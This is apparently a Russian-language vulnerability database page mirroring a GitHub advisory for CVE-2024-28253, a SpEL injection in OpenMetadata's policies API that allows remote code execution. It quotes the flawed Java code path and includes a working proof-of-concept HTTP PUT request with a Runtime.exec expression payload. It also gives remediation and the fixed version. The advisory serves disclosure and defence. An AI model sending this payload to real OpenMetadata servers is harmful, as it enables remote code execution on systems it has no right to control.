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GHSA-7vf4-x5m2-r6gr

Опубликовано: 23 апр. 2024
Источник: github
Github: Прошло ревью
CVSS3: 9.4

Описание

OpenMetadata vulnerable to SpEL Injection in PUT /api/v1/policies (GHSL-2023-252)

SpEL Injection in PUT /api/v1/policies (GHSL-2023-252)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability

CompiledRule::validateExpression is also called from PolicyRepository.prepare

@Override public void prepare(Policy policy, boolean update) { validateRules(policy); } ... public void validateRules(Policy policy) { List<Rule> rules = policy.getRules(); if (nullOrEmpty(rules)) { throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY); } // Validate all the expressions in the rule for (Rule rule : rules) { CompiledRule.validateExpression(rule.getCondition(), Boolean.class); rule.getResources().sort(String.CASE_INSENSITIVE_ORDER); rule.getOperations().sort(Comparator.comparing(MetadataOperation::value)); // Remove redundant resources rule.setResources(filterRedundantResources(rule.getResources())); // Remove redundant operations rule.setOperations(filterRedundantOperations(rule.getOperations())); } rules.sort(Comparator.comparing(Rule::getName)); }

prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():

public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) { repository.prepareInternal(entity, true); // If entity does not exist, this is a create operation, else update operation ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName()); MetadataOperation operation = createOrUpdateOperation(resourceContext); OperationContext operationContext = new OperationContext(entityType, operation); if (operation == CREATE) { CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity); authorizer.authorize(securityContext, operationContext, createResourceContext); entity = addHref(uriInfo, repository.create(uriInfo, entity)); return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse(); } authorizer.authorize(securityContext, operationContext, resourceContext); PutResponse<T> response = repository.createOrUpdate(uriInfo, entity); addHref(uriInfo, response.getEntity()); return response.toResponse(); }

Note that even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and therefore after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/policies which gets handled by PolicyResource.createOrUpdate():

@PUT @Operation( operationId = "createOrUpdatePolicy", summary = "Create or update a policy", description = "Create a new policy, if it does not exist or update an existing policy.", responses = { @ApiResponse( responseCode = "200", description = "The policy", content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))), @ApiResponse(responseCode = "400", description = "Bad request") }) public Response createOrUpdate( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) { Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName()); return createOrUpdate(uriInfo, securityContext, policy); }

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
    • Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
  • Send the payload using a valid JWT token:
PUT /api/v1/policies HTTP/1.1 Host: localhost:8585 sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24" Authorization: Bearer <non-admin JWT> accept: application/json Connection: close Content-Type: application/json Content-Length: 367 {"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution by a registered and authenticated user

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Ссылки

Пакеты

Наименование

org.open-metadata:openmetadata-service

maven
Затронутые версииВерсия исправления

< 1.3.1

1.3.1

EPSS

Процентиль: 100%
0.9256
Критический

9.4 Critical

CVSS3

CVE ID

CVE-2024-28253

Дефекты

CWE-94

Связанные уязвимости

nvd логотип

CVE-2024-28253

CVSS3: 9.4
nvd
почти 2 года назад

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. `CompiledRule::validateExpression` is also called from `PolicyRepository.prepare`. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by `PolicyResource.createOrUpdate()`. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query and is also tracked as `GHSL-2023-252`. This issue may lead to Remote Code Execution and has been addressed in version 1.3.1. Users are advised to upgrade. There are n

fstec логотип

BDU:2024-02655

CVSS3: 9.4
fstec
почти 2 года назад

Уязвимость платформы для управления метаданными OpenMetadata, связанная с неверным управлением генерацией кода, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 100%
0.9256
Критический

9.4 Critical

CVSS3

CVE ID

CVE-2024-28253

Дефекты

CWE-94